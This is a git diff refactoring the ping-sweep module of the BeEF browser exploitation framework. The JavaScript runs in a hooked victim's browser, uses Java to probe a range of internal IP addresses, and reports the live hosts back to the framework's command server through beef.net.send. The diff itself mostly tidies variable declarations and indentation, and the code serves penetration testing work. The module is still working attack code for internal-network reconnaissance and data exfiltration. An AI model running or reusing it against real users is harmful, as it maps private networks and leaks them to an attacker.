diff --git a/modules/network/ping_sweep/command.js b/modules/network/ping_sweep/command.js
index 30ff49eaa..a8a1f982b 100644
--- a/modules/network/ping_sweep/command.js
+++ b/modules/network/ping_sweep/command.js
@@ -17,63 +17,61 @@
 beef.execute(function() {
 
     var ips = new Array();
-    ipRange = "<%= @ipRange %>";
-    timeout = "<%= @timeout %>";
-    delay = parseInt(timeout) + parseInt("<%= @delay %>");
+    var ipRange = "<%= @ipRange %>";
+    var timeout = "<%= @timeout %>";
+    var delay = parseInt(timeout) + parseInt("<%= @delay %>");
+    var verbose=false; /* enable for debug */
 
     // ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated.
     // Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0]
     // (only C class IPs are supported atm). Same code as internal_network_fingerprinting module
-    ipBounds = ipRange.split('-');
+    var ipBounds = ipRange.split('-');
+    var ipToTest;
     if(ipBounds.length>1) {
-	lowerBound = ipBounds[0].split('.')[3];
-        upperBound = ipBounds[1].split('.')[3];
+	    var lowerBound = parseInt(ipBounds[0].split('.')[3]);
+        var upperBound = parseInt(ipBounds[1].split('.')[3]);
 	
         for(i=lowerBound;i<=upperBound;i++){
         	ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i
-            	ips.push(ipToTest);
+           	ips.push(ipToTest);
         }
     } else {
-	ipToTest = ipBounds[0]
-	ips.push(ipToTest);
+	    ipToTest = ipBounds[0]
+	    ips.push(ipToTest);
     }
 
     if(ips.length==1) verbose=true;
-    else verbose=false; /* enable for debug */
 
     
     function do_scan(host, timeout) {
+	    var status=false;
+	    var ping="";
 
-	var  status=false;
-	ping="";
+	    try {
+		    status = java.net.InetAddress.getByName(host).isReachable(timeout);
+	    } catch(e) { /*handle exception...? */ }
 
-	try {
-		status = java.net.InetAddress.getByName(host).isReachable(timeout);
-	} catch(e) { /*handle exception...? */ }
-
-	if (status) {
-		ping = host + " is alive!";
-	} else {
-		if(verbose) {
-			ping = host + " is not alive";
+	    if (status) {
+		    ping = host + " is alive!";
+	    } else if(verbose) {
+			    ping = host + " is not alive";
 		}
-	}
-	return ping;
+	    return ping;
     }
 
 
     // call do_scan for each ip
     // use of setInterval trick to avoid slow script warnings
-    i=0;
+    var i=0;
     if(ips.length>1) {
-	int_id = setInterval( function() { 
-		host = do_scan(ips[i++],timeout);
+	    var int_id = setInterval( function() { 
+		var host = do_scan(ips[i++],timeout);
 		if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
 		if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }
     	}, delay);
     } else {
-    	host = do_scan(ips[i],timeout);
-	beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
+    	var host = do_scan(ips[i],timeout);
+	    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);
     }
 
 });